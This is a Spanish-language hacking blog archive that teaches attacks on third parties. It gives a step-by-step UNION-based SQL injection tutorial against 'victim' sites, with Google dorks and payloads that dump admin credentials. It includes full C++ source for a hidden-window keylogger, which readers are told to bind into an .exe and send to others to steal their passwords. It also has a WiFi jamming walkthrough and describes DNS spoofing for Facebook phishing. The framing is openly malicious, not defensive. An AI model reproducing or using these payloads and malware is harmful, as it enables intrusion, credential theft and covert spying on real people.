APK Hacks | Para expertos y principiantes!: Hacking Basicos
Mostrando entradas con la etiqueta Hacking Basicos. Mostrar todas las entradas
Mostrando entradas con la etiqueta Hacking Basicos. Mostrar todas las entradas

4 de diciembre de 2013

Que es un ataque de inyección SQL?  Un ataque SQL injection es uno de los métodos mas populares y efectivos al momento de hackear una pagina web o obtener privilegios de administrador en un servidor. Explotando correctamente esta vulnerabilidad, una persona puede ganar acceso a la base de datos de una pagina web sin estar autorizado para ello. Una vez concedido el acceso, tendrá control total sobre la base de datos de la víctima.

Para que sirve? Que se puede hacer con esto?

  • ByPass Login de administrador
  • Acceder a toda la información de la pagina
  • Modificar los contenidos de la pagina
  • Apagar o deshabilitar el servidor My SQL

SQL Injection Tutorial Paso a Paso:

1. Encontrar Pagina Vulnerable a SQL Injection

Para encontrar un sitio vulnerable, la forma mas fácil es utilizar Google y buscar con ciertos parámetros. Estos parámetros se llaman "Google Dorks"

Ejemplos:
inurl:index.php?id=
inurl:galeria.php?id=
inurl:articulo.php?id=
inurl:pageid=


NOTA: Si queremos hackear una pagina en particular usamos:


site:www.victima.com inurl:index.php?id=

Para mas Dorks les dejo una lista con miles de ellos aquí: "Google Dorks"

Lo que tenemos que hacer ahora es elegir alguno que nos guste y pegarlo en el cuadro de búsqueda de Google como si estuviéramos haciendo una búsqueda común, y le damos a buscar. Obtendremos algo como esto:



Ahora elegimos una y procedemos con el siguiente paso

2. Comprobar la vulnerabilidad SQL:

Para comprobar que la pagina es definitivamente vulnerable a SQL injection lo que tenemos que hacer es agregar un simple ' en lugar del valor al final de nuestra url y darle enter. Ejemplo:

http://www.victima.com/index.php?id=2'

Si al cargar esta dirección nos da un error como este, o nos aparece una pagina en blanco, la pagina es vulnerable y podemos proceder con el ataque. Ejemplo de error:


You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

Si la pagina se carga igual que antes, esto quiere decir que no es vulnerable y no podremos seguir con el ataque.

3. Averiguar el numero de columnas en la base de datos SQL:

Ahora que ya sabemos que nuestra pagina es vulnerable, lo siguiente es averiguar la cantidad de columnas que posee la base de datos.
Para ello realizamos lo siguiente:

Reemplazamos el apostrofe ' que habíamos puesto antes con "order by x". Y a esta X la reemplazamos por un valor numérico comenzando desde el 1 y así continuamente, 1,3,4,5,5,6,7...
Ejemplo:

http://www.victimsite.com/index.php?id=2 order by 1
http://www.victimsite.com/index.php?id=2 order by 2
http://www.victimsite.com/index.php?id=2 order by 3
http://www.victimsite.com/index.php?id=2 order by 4

Tendremos que realizar esto hasta que con algún numero "X" nos devuelva un error como el anterior. Si con un numero "X" nos devuelve error, esto quiere decir que el numero de columnas es X-1 Para hacerlo mas rápido podemos ir marcando  zonas, probamos primero con 50, si nos devuelve error quiere decir que el primer numero que nos devolverá error (que es el que estamos buscando) esta entre el 1 y el 50, y así sera mas fácil y rápido encontrarlo 
Ejemplo:


http://www.victima.com/index.php?id=2 order by 1 (Sin Error)
http://www.
victima.com/index.php?id=2 order by 2 (Sin Error)
http://www.
victima.com/index.php?id=2 order by 3 (Sin Error)
http://www.
victima.com/index.php?id=2 order by 4 (Sin Error)
http://www.
victima.com/index.php?id=2 order by 5 (Sin Error)
http://www.
victima.com/index.php?id=2 order by 6 (Sin Error)
http://www.
victima.com/index.php?id=2 order by 7 (Sin Error)
http://www.
victima.com/index.php?id=2 order by 8 ( Error )

En este caso, si con el numero 8 obtenemos un Error, el numero de columnas sera 8-1=7. El numero de columnas es 7 

NOTA. En caso de que después de probar con muchos números y no obtener ningún error reemplazamos el método anterior con lo siguiente y realizamos el mismo procedimiento:


http://www.victima.com/index.php?id=2 order by 1--

4.  Encontrar la Columna Vulnerable:

Para esto, lo primero que tenemos que hacer es reemplazar el numero después de = por el mismo numero pero en negativo.
Ejemplo:

http://www.victima.com/index.php?id=-2

Luego de hacer esto agregamos el siguiente código a continuación del numero anterior junto con una secuencia de números que valla desde el 1 hasta el numero de columnas que encontramos anteriormente que en mi caso fue
Nos quedaría algo así:


http://www.victimsite.com/index.php?id=-2 union select 1,2,3,4,5,6,7--

Cuando carguemos esta dirección, nos devolverá un numero o un par de números que van a ser el numero de columnas que son vulnerables. En caso de ser mas de uno, procederemos a usar el primero. 
Nos devolverá algo como esto:



En este caso, la columna vulnerable es la numero 3 y la 7

Aunque sean dos las columnas vulnerables, solo utilizaremos una, yo voy a utilizar la numero 3. Esto nos servirá para saber donde insertar nuestro código en el siguiente paso.

5. Averiguar Versión SQL, Base de Datos y Usuario:

Para averiguar estos datos, lo que tenemos que hacer es reemplazar el numero de la columna vulnerable, en mi caso el numero 3, por los siguientes códigos. Cada uno nos mostrará un resultado diferente el cual tenemos que anotar ya que dependiendo de los resultados procederemos de distintas maneras.
Los códigos que tenemos que poner en lugar del 3 (numero de columna vulnerable) son:

version()
database()
user() 

Nos quedara algo como esto: 


http://www.victima.com/index.php?id=-2 and 1=2 union select 1,2,version(),4,5,6,7--
Esto nos dará la versión de la base de datos SQL. Ejemplo: 5.0.1


http://www.victima.com/index.php?id=-2 and 1=2 union select 1,2,database(),4,5,6,7--
Esto nos devolverá el nombre de la base de datos actual  


http://www.victima.com/index.php?id=-2 and 1=2 union select 1,2,user(),4,5,6,7--
Y esto el nombre de usuario de la base de datos 

NOTA: Si el método anterior no les funciona, prueben con este:


http://www.victima.com/index.php?id=-2 and 1=2 union select 1,2,unhex(hex(@@version)),4,5,6,7--

6. Averiguar el Nombre de las Tablas dentro de la Base de Datos:

Si en el paso anterior obtuvimos como resultado de la versión de la base de datos una versión mayor o igual a 5.0.0, son buenas noticias ya que esto quiere decir que no vamos a tener que adivinar las tablas y las obtendremos sin ningún problema. En caso de que la versión sea menor a 5, vamos a tener que usar un método que se llama "Blind SQL Injection" para adivinar las tablas que explicaré en otro post.

Ahora, si nuestra versión es mayor a 5, vamos a continuar con la obtención de tablas, para ello vamos a reemplazar el 3 (en tu caso el numero de columna vulnerable obtenido anteriormente con lo siguiente:

group_concat(table_name)

Y al final de todo vamos a agregar esto: 


from information_schema.tables where table_schema=database()

Nos quedará algo como esto: 


http://www.victima.com/index.php?id=-2 and 1=2 union select 1,2,group_concat(table_name),4,5,6,7 from information_schema.tables where table_schema=database()--

Cargamos la pagina, y obtendremos todas las tablas en la base de datos actual. Lo que hay que hacer ahora es buscar alguna tabla que tenga información interesante para obtener sus datos (principalmente tablas que puedan contener información de usuarios y admins)


En mi caso, yo elegire la tabla "admin"

7. Averiguar el nombre de las columnas de la tabla elegida anteriormente:

Lo que haremos ahora sera reemplazar el "from information_schema.tables where table_schema=database()--" por "FROM information_schema.columns WHERE table_name=mysqlchar--"

Nos quedara algo como esto:

http://www.victima.com/index.php?id=-2 and 1=2 union select 1,2,group_concat(column_name),4,5,6,7 from information_schema.columns where table_name=mysqlchar--

Pero como verántodavía hay una parte en rojo la cual tenemos que reemplazar por el nombre de la tabla que elegimos anteriormente (en mi caso "admin") convertido a MySQL CHAR(). 

Convertir nombre de tabla a MySQL CHAR():

Para esto, nos vamos a Mozilla Firefox y instalamos el add-on HackBar, el cual pueden descargar de aquí: https://addons.mozilla.org/en-US/firefox/addon/3899/

Una vez descargado y reiniciado Mozilla, van a ver una barra de herramientas en la parte superior debajo de la barra de direcciones.

Ahora, vamos a SQL->Mysql->MysqlChar() 


Ponemos el nombre de la tabla que queremos convertir y le damos a OK:


A continuación vamos a ver nuestra tabla ya convertida a MySQL CHAR():


Lo que tenemos que hacer ahora que ya tenemos convertido el nombre de nuestra tabla es reemplazar la linea en rojo de la URL anterior (mysqlchar) por nuestra tabla convertida.
Nos quedará algo como esto:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,group_concat(column_name),4,5,6,7 from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)--

Le damos a enter y obtendremos una lista con todas las columnas de la tabla. 
Ejemplo: 


admin,password,admin_id,admin_name,admin_password 
active,id,admin_name,admin_pass ​ 
admin_id,admin_name,admin_password,ID_admin 
admin_username,username,password, etc...

Ahora, para obtener los datos de las columnas obtenidas tenemos que hacer lo siguiente: 

Primero reemplazamos "group_concat(column_name)" por "group_concat(columna1,0x3a,columna2)" donde reemplazaremos columna1 y columna2 por dos columnas a eleccion. Por ejemplo: "group_concat(admin,0x3a,password)"

Luego, tenemos que reemplazar "from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)" por "from nombre_de
_tabla" donde "nombre_de
_tabla" va a ser la tabla que elegimos anteriormente pero sin convertir a MySQL CHAR().

Nos quedara algo como esto:

http://www.victima.com/index.php?id=-2 
and 1=2 union select 1,2,group_concat(admin_id,0x3a,password),4,5,6,7 from admin--

Ejecutamos, y con suerte obtendremos los datos de las columnas que seleccionamos, en este caso, obtendremos las credenciales de Administrador tanto Usuario como Contraseña que nos darán acceso completo al servidor.

8. Encontrar Pagina del panel de Administrador para acceder a la base de datos con las credenciales obtenidas anteriormente con SQL injection:

La forma mas fácil y rápida de hacer esto es utilizando una herramienta automatizada como jSQL explicada aquí: http://apk-hacks.blogspot.com.ar/2013/11/jsql-herramienta-sql-automatica.html

Una alternativa es usar Havij que puedes encontrar aqui: http://www.itsecteam.com/products/havij-advanced-sql-injection/








19 de noviembre de 2013

¿Que es un Binder?


Un Binder es un software que se usa para combinar o esconder dos o mas archivos en un único archivo bajo el mismo nombre y extensión  Los archivos a combinar pueden tener cualquier nombre y extensión  solo depende de nosotros elegir el nombre y el icono del archivo combinado. Estos archivos combinados son mas peligrosos cuando están encriptados ya que pueden no ser detectados por un análisis de Antivirus

Los Mejores Binders:


  • Simple Binder:

  • Weekend Binder:



Como siempre, la parte mas interesante de hackear es espiar. Hoy les voy a mostrar como crear un código en C++ para crear un Keylogger. Un keylogger es un tipo de software o un dispositivo hardware específico que se encarga de registrar las pulsaciones que se realizan en el teclado, para posteriormente memorizarlas en un fichero o enviarlas a través de Internet. Esto suele ser muy divertido ya que podremos averiguar las contraseñas y datos personales de cualquier persona que use el ordenador que este infectado con nuestro Keylogger. Esta aplicación se puede usar en cualquier sistema como en la escuela, trabajo, etc.

Ventajas de usar un Keylogger:

  • Es un método muy simple y fácil de llevar a cabo.
  • Es un ataque silencioso  ya que la victima no se dará cuenta que esta siendo hackeada.
Como crear un Keylogger usando C++:

  • Instrucciones:
1. Instalar Dev C++ y ejecutarlo.
2. Dirigirse a File->New->Source File
3. A continuación, pegar el siguiente código en el espacio de trabajo en blanco.

#include <iostream> 
using namespace std; 
#include <windows.h> 
#include <winuser.h> 
int Save (int key_stroke, char *file);
void Stealth();

int main() 
{
Stealth(); 
char i;

while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt"); 
}
}
system ("PAUSE");
return 0;
}

/* *********************************** */

int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

cout << key_stroke << endl;

if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]"); 
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n"); 
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB) 
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose (OUTPUT_FILE);
return 0;
}

/* *********************************** */

void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}

4. Compilar el código, y para eso nos dirigimos a la ventana Execute y le damos a Compile (Ctrl+F9)


Cuando le den a Compile, verán algo como esto:



5. Cuando terminen, nos dirigimos a el directorio donde guardamos el programa ya compilado y veremos estos archivos, dentro de los cuales, estará el programa y un archivo de texto log.txt


6. Este archivo .txt es en donde se guardaran las teclas que se presionen mientras el programa se esta ejecutando. Lo único que nos queda es unir estos dos archivos en un .exe y mandarlo a quien queramos o ejecutarlo en el ordenador que queramos y todas sus contraseñas quedaran registradas!

18 de noviembre de 2013

jSQL es una herramienta que nos permite realizar ataques AUTOMATICOS de inyección SQL a paginas web vulnerables a este ataque y así obtener todos los datos del servidor, y con suerte, nos permitirá encontrar el usuario Admin con su respectiva contraseña.

Descarga:
http://code.google.com/p/jsql-injection/downloads/list




Métodos de inyección SQL disponibles en jSQL:

  • Metodos GET, POST, header, cookie.
  • normal, error based, blind, time based algorithms
  • Deteccion de Algoritmos automatica
  • Obtencion de datos automatica
  • Ajustes Proxy
  • Evasion
  • MySQL


16 de noviembre de 2013

Las paginas que les voy a compartir a continuación  sirven para escanear cualquier pagina web que deseen en busca de vulnerabilidades a ataques SQL, el método mas empleado por todos los hackers del mundo. 

El primer paso para poder llevar a cabo este ataque es comprobar que la web que queremos atacar realmente sea vulnerable para ahorrarnos tiempo y muchos intentos en vano. Estas paginas son las mejores actualmente, son gratis, y muy fáciles de usar:
  • http://www.be007.gigfa.com/scanner/scanner.php
  • http://www.sunmagazin.com/tools/hack/SQLI-Scan
  • http://scanner.drie88.tk
  • http://wolfscps.com/gscanner.php
  • http://localvn.biz/Tools/tools/Hack-Shop/SQLI-Scan

14 de noviembre de 2013

Un Ataque de Denial of Service (Denegación de Servicios), es un ataque a un sistema de computadoras o red que como resultado provoca que un servicio o recurso sea inaccesible a los usuarios. Normalmente provoca la pérdida de la conexión de red por el consumo del ancho de banda de la red de la víctima. En este tutorial voy a mostrar como realizar este ataque a cualquier punto de acceso WiFi para que todos los usuarios que estén conectados se desconecte y para que nadie se pueda conectar nuevamente (durante el periodo de tiempo en el que el ataque este funcionando, no es permanente).


Requisitos:
  • Backtrack (Descarga)
  • No hace falta tener acceso a la red, solo necesitas que este a tu alcance.

Instrucciones:

  1. Una vez en Backtrack, tenemos que comprobar que tenemos instalado WebSploit. Para ello nos dirigimos a Applications >> BackTrack >> Exploitation Tools >> Web Explotation Tolls y aca debería encontrarse WebSploit, si en tu caso es asi, continua directamente en el paso 3. De lo contrario tendremos que instalarlo.
  2. Para instalar WebSploit, primero tendremos que descargarlo aquí. Una vez descargado extraemos el archivo en el directorio "/pentest/web/". Despues de extraerlo debemos hacer click derecho en el archivo websploit, seleccionamos "Properties" y en la ventana emergente nos dirigimos a la pestaña "Permissions" y seleccionamos la casilla "Allow executing file as program". Una vez hecho esto, solo nos queda ejecutar Websploit. Para ello, abrimos la consola/terminal de Backtrack y ejecutamos los siguientes comandos:
    • cd /pentest/web/websploit
    • ./websploit
  3. Luego de ejecutar Websploit, vamos a ejecutar los siguientes comandos:
    • use wifi/wifi_jammer
    • set essid [nombre essid del wifi]
    • set bssid [numero bssid del wifi]
    • set channel [your channel number]
    • RUN
NOTA: 
  • BSSID: Significa Basic Service Set Identifier y se trata de la dirección MAC (física) del Access Point al que nos conectamos. Lo podemos obtener mirando la tabla ARP si estamos conectados o mediante el comandoo "airodump-ng" para capturar el tráfico que genere.
  • ESSID: Significa Extended Service Set ID y es el nombre identificable de la red.
  • Para obtener el BSSID y el ESSID en Windows vamos a cmd y ejecutamos: netsh wlan show networks mode=bssid 


10 de noviembre de 2013

¿Nunca quisiste tener Backtrack como tu Sistema Operativo Principal y aprovechar toda la potencia de tu ordenador?  Instala cualquier distribución de Backtrack en tu ordenador directamente en tu disco duro como tu sistema operativo principal (sin windows) en muy pocos pasos. Certificado por el equipo de Backtrack Oficial!

bACKTRACK


NOTA: Este método de instalación es el mas sencillo y mas rapido. Una vez instalado, ten en cuenta que el sistema Backtrack reemplazara por completo a Windows o a tu sistema operativo anterior. 

Requisitos:

  • Descargar el ISO de Backtrack original AQUÍ 
  • Disponer de alguna forma para bootear Backtrack en nuestro ordenador desde la BIOS. La opción mas fácil es desde un PenDrive USB, aquí te mostramos como hacerlo: Como Instalar Backtrack en Memoria USB
Instrucciones: 
  1. Booteamos Backtrack desde nuestro USB como explicamos en el tutorial mas arriba y una vez booteado, tipeamos "startx" (sin comillas) para acceder a la interfaz grafica.
  2. Una vez dentro de la interfaz grafica, nos dirigimos a escritorio y ejecutamos el archivo “install.sh”. Si no lo encontramos podemos abrir la consola y ejecutamos el comando: “ubiquity”.
  3. A continuación nos aparecerá una ventana similar a la de arriba. Aquí lo que debemos hacer es indicar nuestra ubicación geográfica y el layout de nuestro teclado.                         
  4. Ahora nos va a pedir que seleccionemos la partición donde vamos a instalar Backtrack pero como lo queremos instalar en todo el disco, le damos a "Use entire disk"
  5. Le damos a continuar y procedemos con l instalacion. Una vez terminada, el sistema se reiniciara y cuando vuelva a arrancar, nospedira un usuario y contraseña, y para ello utilizareemos: root como usuario y toor como contraseña:
  6. LISTO! Ahora ya tenemos Backtrack instalado completamente en nuestro ordenador.



28 de febrero de 2013


   Participa en la red Tor convirtiéndote en uno de los nodos intermedios: Instrucciones para ser un relay de Tor. Puedes usar el programa Vidalia para configurar tu ordenador como relay (nodo intermediario de TOR), ayudando a mejorar la calidad y velocidad de la red.
Si tienes problemas con la configuracion de los puertos visita: Como abrir los puertos de tu Router (todos los modelos!)


27 de febrero de 2013

   
   Port Forward es una muy completa y útil pagina en la cual podemos encontrar los manuales para hacer Port Forwarding a nuestro Router y así poder abrir los puertos que deseemos. Esta web contiene una colección de casi todos los Routers en el mercado internacional y una explicación para poder abrir tus puertos en cada uno de ellos!





   ¿Que es Nmap ? Es una herramienta para administradores de sistemas y gente interesada en el escaneo de grandes o pequeñas redes para determinar los equipos que se encuentran activos y cuales son sus servicios.
En definitiva un escáner de puertos muy potente.



El objetivo seria poder determinar si un servidor o máquina está en uso y que puertos son vulnerables si es que los hay.


26 de febrero de 2013

   Metasploit Es un proyecto open source de seguridad informática que proporciona información acerca de vulnerabilidades de seguridad y ayuda en tests de penetración y en el desarrollo de firmas para Sistemas de Detección de Intrusos.

Requerimientos para instalar Metasploit en Windows (7, Vista, XP):

   Lo primero que tenemos que hacer para instalar BacTrack en un pendrive o memoria usb, es descargar UNetbootin, programa gratuito que no requiere instalación nos permitirá instalar backtrack en una memoria usb para que luego podamos usarlo en nuestro ordenador, Y también vamos a necesitar la imagen ISO de cualquier distribución  de Backtrack ( todas son compatibles ).

24 de febrero de 2013

   DNS Spoofing es un ataque que consiste en que el atacante funcione como intermediario entre el punto de acceso de la red (router) y la victima que tiene que obviamente, tiene que estar conectada a la misma red que el atacante. Al funcionar como intermediario, lo que hacemos es redireccionar peticiones especificas o todas, a la dirección que nosotros queramos. Este método es útil para poder llevar a cabo otros hacks como phishing, Java applet attack, etc. Ejemplo: la victima solicita la pagina www.facebook.com y el atacante tiene la posibilidad de redireccionar esa petición a un servidor local por ejemplo: 192.168.0.104:8080 donde tenemos alojado una página similar a Facebook modificada para guardar las contraseñas que la victima introduzca. 

22 de febrero de 2013

   
   Havij es una herramienta de Inyeccion SQL de Multiples Databases Compatibles para inyectar (MsSQL, MsSQL Blind, Oracle etc..) llegando ser para muchos el mejor Inyecctor automatizado de este tipo de Vulnerabilidades. Busca Tablas, Columnas, sus Datos, Buscador de panales de admin, Descryptor de MD5 y más.

20 de febrero de 2013

  ¿Nunca te preguntaste si podías instalar Backtrack 5 junto con Windows? 
Ahora te enseñaremos como hacerlo, y para ello utilizaremos una herramienta muy conocida: Unetbootin. 
Unetbootin es una software multiplataforma que permite la instalación de varias distribuciones GNU/Linux desde una memoria USB o desde un disco duro USB.

Powered by KikBooks Widget